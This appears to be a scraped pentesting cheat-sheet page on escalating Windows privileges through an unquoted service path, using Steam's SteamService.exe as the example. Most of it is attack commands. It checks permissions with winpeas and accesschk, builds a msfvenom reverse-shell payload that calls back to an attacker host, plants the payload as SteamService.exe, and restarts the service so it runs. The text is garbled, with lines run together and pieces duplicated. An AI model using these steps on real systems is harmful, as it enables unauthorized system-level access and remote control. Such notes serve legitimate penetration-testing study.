Unquoted service paths
Unquoted service paths
"C:\Program Files (x86)\Common Files\Steam\SteamService.exe"C:\Program Files (x86)\Common Files\Steam\SteamService.exeLast updated
"C:\Program Files (x86)\Common Files\Steam\SteamService.exe"C:\Program Files (x86)\Common Files\Steam\SteamService.exeLast updated
winpeas.exeDownload accesschk.exe to the target
accesschk.exe /accepteula -ucqv user <SERVICE>accesschk.exe /accepteula -uwdq "C:\DIRECTORY\PATH"
Example:
accesschk.exe /accepteula -uwdq "C:\Program Files (x86)\"
accesschk.exe /accepteula -uwdq "C:\Program Files (x86)\Common Files\"
accesschk.exe /accepteula -uwdq "C:\Program Files (x86)\Common Files\Steam\"msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > SteamService.exe # revere shell name should match the service .exe binarycopy SteamService.exe "C:\Program Files (x86)\Common Files\SteamService.exe"net stop <SERVICE>
net start <SERVICE>